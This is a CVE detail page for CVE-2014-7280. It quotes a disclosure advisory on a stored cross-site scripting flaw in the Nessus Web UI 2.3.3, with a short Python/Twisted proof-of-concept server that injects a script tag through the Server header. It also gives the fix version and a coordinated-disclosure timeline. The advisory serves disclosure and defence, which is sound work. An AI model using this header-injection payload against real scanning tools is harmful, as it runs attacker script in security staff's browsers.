CVE-2014-7280 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Nessus Web UI 2.3.3: Stored XSS ========================================================= CVE number: CVE-2014-7280 Permalink: http://www.thesecurityfactory.be/permalink/nessus-stored-xss.html Vendor advisory: http://www.tenable.com/security/tns-2014-08 -- Info -- Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. Tenable Network Security estimates that it is used by over 75,000 organisations worldwide. -- Affected version - Web UI version 2.3.3, Build #83 -- Vulnerability details -- By setting up a malicious web server that returns a specially crafted host header, an attacker is able to execute javascript code on the machine of the person performing a vulnerability scan of the web server. No escaping on javascript code is being performed when passing the server header to the affected Web UI version via a plugin. The javascript code will be stored in the backend database, and will execute every time the target views a report that returns the server header. -- POC -- #!/usr/bin/env python import sys from twisted.web import server, resource from twisted.internet import reactor from twisted.python import log class Site(server.Site): def getResourceFor(self, request): request.setHeader('server', '<script>alert(1)</script>SomeServer') return server.Site.getResourceFor(self, request) class HelloResource(resource.Resource): isLeaf = True numberRequests = 0 def render_GET(self, request): self.numberRequests += 1 request.setHeader("content-type", "text/plain") return "theSecurityFactory Nessus POC" log.startLogging(sys.stderr) reactor.listenTCP(8080, Site(HelloResource())) reactor.run() -- Solution -- This issue has been fixed as of version 2.3.4 of the WEB UI. -- Timeline -- 2014-06-12 Release of Web UI version 2.3.3, build#83 2014-06-13 Vulnerability discovered and creation of POC 2014-06-13 Vulnerability responsibly reported to vendor 2014-06-13 Vulnerability acknowledged by vendor 2014-06-13 Release of Web UI version 2.3.4, build#85 2014-XX-XX Advisory published in coordination with vendor -- Credit -- Frank Lycops Frank.lycops [at] thesecurityfactory.be